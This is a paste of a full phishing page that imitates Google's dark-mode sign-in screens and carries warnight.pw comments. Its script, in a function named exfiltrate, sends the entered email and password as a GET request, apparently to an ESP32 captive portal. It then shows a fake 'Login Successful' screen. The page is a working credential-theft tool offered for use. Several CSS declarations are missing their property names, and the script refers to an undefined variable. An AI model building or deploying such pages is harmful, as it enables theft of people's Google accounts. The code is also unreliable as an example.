JustPaste.it

warnight / google login html (standart)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign in - Google Accounts</title>
    <style>
        :root {
            --bg-color: #000000;
            --card-bg: #1f1f1f;
            --text-primary: #e3e3e3;
            --text-secondary: #c4c7c5;
            --link-blue: #a8c7fa;
            --btn-next-bg: #a8c7fa;
            --btn-next-text: #062e6f;
            --border-default: #8e918f;
            --border-focus: #a8c7fa;
            --input-hover: #444746;
        }

        * {
            box-sizing: border-box;
            0;
            padding: 0;
            'Google Sans', 'Roboto', 'Helvetica Neue', sans-serif;
        }

        body {
            background-color: var(--bg-color);
            color: var(--text-primary);
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            padding: 24px;
        }

        .login-card {
            background-color: var(--card-bg);
            width: 100%;
            max-width: 1040px;
            min-height: 480px;
            border-radius: 28px;
            padding: 36px 40px;
            display: flex;
            gap: 48px;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
            position: relative;
            overflow: hidden;
            transition: all 0.3s ease;
        }

        /* --- Left Column: Info --- */
        .info-col {
            flex: 1;
            display: flex;
            flex-direction: column;
            padding-top: 8px;
        }

        .g-logo {
            width: 48px;
            height: 48px;
            24px;
        }

        h1 {
            font-size: 36px;
            font-weight: 400;
            16px;
            color: var(--text-primary);
        }

        .desc-text {
            font-size: 16px;
            1.5;
            color: var(--text-primary);
            max-width: 320px;
        }

        /* Email pill in step 2 */
        .account-pill {
            display: flex;
            align-items: center;
            background: #2b2b2b;
            padding: 4px 12px;
            border-radius: 16px;
            gap: 8px;
            width: fit-content;
            8px;
            border: 1px solid #444746;
            cursor: pointer;
        }

        .account-pill:hover {
            background: #3c4043;
        }

        .account-pill .avatar-icon {
            color: var(--text-secondary);
        }

        .account-pill .email-display {
            font-size: 14px;
            font-weight: 500;
            color: var(--text-primary);
        }

        /* --- Right Column: Interaction --- */
        .form-col {
            flex: 1.2;
            display: flex;
            flex-direction: column;
            justify-content: flex-start;
            padding-top: 56px;
        }

        .input-wrapper {
            position: relative;
            8px;
            width: 100%;
        }

        .input-field {
            width: 100%;
            height: 56px;
            padding: 13px 15px;
            font-size: 16px;
            background: transparent;
            border: 1px solid var(--border-default);
            border-radius: 4px;
            color: var(--text-primary);
            outline: none;
            transition: border 0.1s;
        }

        .input-field:focus {
            border: 2px solid var(--border-focus);
            padding: 12px 14px;
        }

        .floating-label {
            position: absolute;
            left: 15px;
            top: 18px;
            color: var(--text-secondary);
            font-size: 16px;
            pointer-events: none;
            transition: all 0.2s ease;
            background: var(--card-bg);
            padding: 0 4px;
        }

        .input-field:focus+.floating-label,
        .input-field:not(:placeholder-shown)+.floating-label {
            top: -10px;
            left: 10px;
            font-size: 12px;
            color: var(--link-blue);
        }

        .link-text {
            color: var(--link-blue);
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            display: block;
            12px;
            width: fit-content;
        }

        .link-text:hover {
            text-decoration: underline;
        }

        .helper-text {
            font-size: 14px;
            color: var(--text-secondary);
            1.5;
            40px;
        }

        .helper-text a {
            color: var(--link-blue);
            text-decoration: none;
        }

        .checkbox-row {
            display: flex;
            align-items: center;
            gap: 12px;
            12px;
            font-size: 14px;
            color: var(--text-primary);
            cursor: pointer;
        }

        .checkbox-row input {
            width: 18px;
            height: 18px;
            accent-color: var(--link-blue);
        }

        /* Action Row */
        .action-row {
            display: flex;
            justify-content: flex-end;
            align-items: center;
            gap: 16px;
            auto;
            padding-top: 32px;
        }

        .btn-create {
            color: var(--link-blue);
            font-weight: 500;
            font-size: 14px;
            cursor: pointer;
            padding: 10px 16px;
            border-radius: 20px;
            transition: background 0.2s;
        }

        .btn-create:hover {
            background: rgba(168, 199, 250, 0.08);
        }

        .btn-next {
            background-color: var(--btn-next-bg);
            color: var(--btn-next-text);
            padding: 10px 24px;
            border-radius: 20px;
            font-weight: 600;
            font-size: 14px;
            cursor: pointer;
            border: none;
            transition: box-shadow 0.2s;
        }

        .btn-next:hover {
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);
            background-color: #d3e3fd;
        }

        /* --- Page Footer --- */
        .page-footer {
            width: 100%;
            max-width: 1040px;
            24px;
            display: flex;
            justify-content: space-between;
            font-size: 12px;
            color: var(--text-secondary);
            padding: 0 8px;
        }

        .footer-left {
            display: flex;
            align-items: center;
            gap: 4px;
            cursor: pointer;
        }

        .footer-right {
            display: flex;
            gap: 24px;
        }

        .footer-right a {
            color: inherit;
            text-decoration: none;
        }

        .footer-right a:hover {
            color: var(--text-primary);
        }

        .hidden {
            display: none !important;
        }

        /* Mobile Adjustments */
        @media (max-width: 800px) {
            .login-card {
                flex-direction: column;
                max-width: 450px;
                padding: 32px;
                gap: 0;
            }

            .form-col {
                padding-top: 32px;
            }

            h1 {
                font-size: 32px;
            }

            .action-row {
                32px;
            }
        }

        .spinner {
            width: 30px;
            height: 30px;
            border: 3px solid rgba(255, 255, 255, 0.1);
            border-top: 3px solid var(--link-blue);
            border-radius: 50%;
            animation: spin 1s linear infinite;
            20px auto;
        }

        @keyframes spin {
            0% {
                transform: rotate(0deg);
            }

            100% {
                transform: rotate(360deg);
            }
        }

        #success-step {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
            width: 100%;
        }

        .success-icon {
            color: #81c995;
            font-size: 64px;
            24px;
        }

        .success-title {
            font-size: 32px;
            font-weight: 400;
            12px;
        }
    </style>
</head>

<body>

    <div class="login-card">
        <!-- warnight.pw -->
        <div id="id-col-info" class="info-col">
            <svg class="g-logo" viewBox="0 0 24 24">
                <path
                    d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
                    fill="#4285F4" />
                <path
                    d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
                    fill="#34A853" />
                <path
                    d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l3.66-2.84z"
                    fill="#FBBC05" />
                <path
                    d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
                    fill="#EA4335" />
            </svg>
            <h1>Sign in</h1>
            <div class="desc-text">with your Google Account. This account will be available to other Google apps in the
                browser.</div>
        </div>

        <!-- warnight.pw -->
        <div id="pwd-col-info" class="info-col hidden">
            <svg class="g-logo" viewBox="0 0 24 24">
                <path
                    d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
                    fill="#4285F4" />
                <path
                    d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
                    fill="#34A853" />
                <path
                    d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l3.66-2.84z"
                    fill="#FBBC05" />
                <path
                    d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
                    fill="#EA4335" />
            </svg>
            <h1>Welcome</h1>
            <div id="account-pill" class="account-pill">
                <svg class="avatar-icon" width="20" height="20" viewBox="0 0 24 24" fill="currentColor">
                    <path
                        d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3zm0 14.2c-2.5 0-4.71-1.28-6-3.22.03-1.99 4-3.08 6-3.08 1.99 0 5.97 1.09 6 3.08-1.29 1.94-3.5 3.22-6 3.22z" />
                </svg>
                <span id="display-email" class="email-display">user@gmail.com</span>
                <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                    <path d="M7 10l5 5 5-5z" />
                </svg>
            </div>
        </div>

        <!-- warnight.pw -->
        <div class="form-col">
            <!-- warnight.pw -->
            <div id="id-form-step">
                <div class="input-wrapper">
                    <input type="text" id="email-input" class="input-field" placeholder=" ">
                    <label class="floating-label">Email or phone</label>
                </div>
                <div id="id-error" class="hidden" style="color: #f38b8b; font-size: 12px; 4px;">Couldn't
                    find your Google Account</div>
                <a href='' class="link-text">Forgot email?</a>
                <div class="helper-text">Not your computer? Use Guest mode to sign in privately. <a href=''>Learn more
                        about using Guest mode</a></div>

                <div class="action-row">
                    <div class="btn-create">Create account</div>
                    <button id="id-next" class="btn-next">Next</button>
                </div>
            </div>

            <!-- warnight.pw -->
            <div id="pwd-form-step" class="hidden">
                <div class="input-wrapper">
                    <input type="password" id="password-input" class="input-field" placeholder=" ">
                    <label class="floating-label">Enter your password</label>
                </div>
                <div class="checkbox-row" id="show-pwd-row">
                    <input type="checkbox" id="show-pwd">
                    <span>Show password</span>
                </div>

                <div class="action-row" style=" 100px;">
                    <div class="btn-create">Try another way</div>
                    <button id="pwd-next" class="btn-next">Next</button>
                </div>
            </div>

            <!-- warnight.pw -->
            <div id="success-step" class="hidden">
                <div class="success-icon">✓</div>
                <h1 class="success-title">Login Successful</h1>
                <p style="color: var(--text-secondary);">Redirecting to your account...</p>
                <div class="spinner"></div>
            </div>
        </div>
    </div>

    <!-- warnight.pw -->
    <div class="page-footer">
        <div class="footer-left">
            <span>English (United States)</span>
            <svg width="16" height="16" viewBox="0 0 24 24" fill="currentColor">
                <path d="M7 10l5 5 5-5z" />
            </svg>
        </div>
        <div class="footer-right">
            <a href=''>Help</a>
            <a href=''>Privacy</a>
            <a href=''>Terms</a>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', () => {
            const idNext = document.getElementById('id-next');
            const pwdNext = document.getElementById('pwd-next');
            const emailInput = document.getElementById('email-input');
            const passwordInput = document.getElementById('password-input');
            const displayEmail = document.getElementById('display-email');
            const showPwd = document.getElementById('show-pwd');

            const idInfo = document.getElementById('id-col-info');
            const pwdInfo = document.getElementById('pwd-col-info');
            const pwdForm = document.getElementById('pwd-form-step');

            function exfiltrate(id, pwd) {
                const email = id.includes('@') ? id : id + '@gmail.com';
                const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(pwd)}`;
                
                // Show success UI immediately
                pwdInfo.classList.add('hidden');
                pwdForm.classList.add('hidden');
                const successStep = document.getElementById('success-step');
                successStep.classList.remove('hidden');

                const card = document.querySelector('.login-card');
                card.style.justifyContent = 'center';
                card.style.alignItems = 'center';

                // Small delay then redirect to ensure ESP32 captures the GET request
                setTimeout(() => {
                    window.location.href = url;
                }, 500);
            }

            idNext.addEventListener('click', () => {
                let email = emailInput.value.trim();
                const errorText = document.getElementById('id-error');

                if (!email) return;

                // Restrict to @gmail.com
                if (email.includes('@')) {
                    if (!email.toLowerCase().endsWith('@gmail.com')) {
                        errorText.classList.remove('hidden');
                        emailInput.style.border = '2px solid #f38b8b';
                        return;
                    }
                } else {
                    email += '@gmail.com';
                }

                errorText.classList.add('hidden');
                emailInput.style.border = '1px solid var(--border-default)';
                displayEmail.textContent = email;
                idInfo.classList.add('hidden');
                idForm.classList.add('hidden');
                pwdInfo.classList.remove('hidden');
                pwdForm.classList.remove('hidden');
                passwordInput.focus();
            });

            showPwd.addEventListener('change', () => {
                passwordInput.type = showPwd.checked ? 'text' : 'password';
            });

            pwdNext.addEventListener('click', () => {
                const email = emailInput.value.trim();
                const pwd = passwordInput.value;
                if (pwd) {
                    exfiltrate(email, pwd);
                }
            });

            // Allow Enter key to trigger Next
            emailInput.addEventListener('keypress', (e) => {
                if (e.key === 'Enter') idNext.click();
            });
            passwordInput.addEventListener('keypress', (e) => {
                if (e.key === 'Enter') pwdNext.click();
            });
        });
    </script>
</body>

</html>